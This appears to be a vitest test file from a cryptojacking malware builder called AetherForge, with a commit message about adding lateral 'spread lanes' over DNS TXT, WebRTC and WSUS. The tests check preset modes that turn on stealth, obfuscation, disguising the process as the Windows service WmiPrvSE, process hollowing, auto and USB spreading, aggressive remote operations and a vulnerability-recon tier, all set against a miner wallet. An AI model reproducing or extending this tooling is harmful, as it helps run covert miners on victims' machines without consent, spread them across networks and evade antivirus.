Files
AetherForge/server/web/src/help/forgeOperationModes.test.ts
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

142 lines
4.8 KiB
TypeScript

import { describe, it, expect } from 'vitest';
import {
OPERATION_MODES,
DEFAULT_OPERATION_MODE,
applyOperationMode,
isOperationModeId,
resolveForgeSkin,
skinForOperationMode,
} from './forgeOperationModes';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.1:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'test',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
stealth_mode: false,
display_mode: 'visible',
file_logging: true,
obfuscate: false,
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes colored aether-themed presets including LOTL Onion', () => {
expect(OPERATION_MODES).toHaveLength(8);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
'Sigil Mask',
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
'AV-Safe',
'LOTL Onion',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
});
it('maps each operation mode to a forge skin', () => {
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
'ghost',
'aether',
'halloween',
'aether',
'wildfire',
'crucible',
'aether',
'aether',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
});
it('resolves skin from operation mode unless theme override is set', () => {
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
});
it('validates stored mode ids', () => {
expect(isOperationModeId('ghost_walk')).toBe(true);
expect(isOperationModeId('bogus')).toBe(false);
});
it('applies Ghost Walk stealth + garble defaults', () => {
const next = applyOperationMode(baseForm(), 'ghost_walk');
expect(next.stealth_mode).toBe(true);
expect(next.display_mode).toBe('background');
expect(next.file_logging).toBe(false);
expect(next.obfuscate).toBe(true);
expect(next.fusion_enabled).toBe(false);
});
it('applies Open Flame visible testing profile', () => {
const next = applyOperationMode(baseForm(), 'open_flame');
expect(next.stealth_mode).toBe(false);
expect(next.display_mode).toBe('visible');
expect(next.file_logging).toBe(true);
expect(next.obfuscate).toBe(false);
});
it('applies Sigil Mask obfuscation + disguised process', () => {
const next = applyOperationMode(baseForm(), 'sigil_mask');
expect(next.obfuscate).toBe(true);
expect(next.sigil_scramble).toBe(true);
expect(next.process_name).toBe('WmiPrvSE');
expect(next.fusion_enabled).toBe(false);
});
it('applies Hearth Whisper idle low-footprint caps', () => {
const next = applyOperationMode(baseForm(), 'hearth_whisper');
expect(next.mining_mode).toBe('idle');
expect(next.max_cpu_usage_pct).toBe(45);
expect(next.thread_percent).toBe(50);
expect(next.stealth_mode).toBe(true);
});
it('applies Wildfire spread-ready flags', () => {
const next = applyOperationMode(baseForm(), 'wildfire');
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.usb_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('applies Crucible Storm aggressive remote ops', () => {
const next = applyOperationMode(baseForm(), 'crucible_storm');
expect(next.remote_aggressive).toBe(true);
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
it('applies AV-Safe in-process mining without GPU or spread', () => {
const next = applyOperationMode(baseForm(), 'av_safe');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.process_hollowing).toBe(false);
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(false);
expect(next.remote_aggressive).toBe(false);
expect(next.obfuscate).toBe(false);
});
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
const next = applyOperationMode(baseForm(), 'lotl_onion');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(14);
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true);
});
});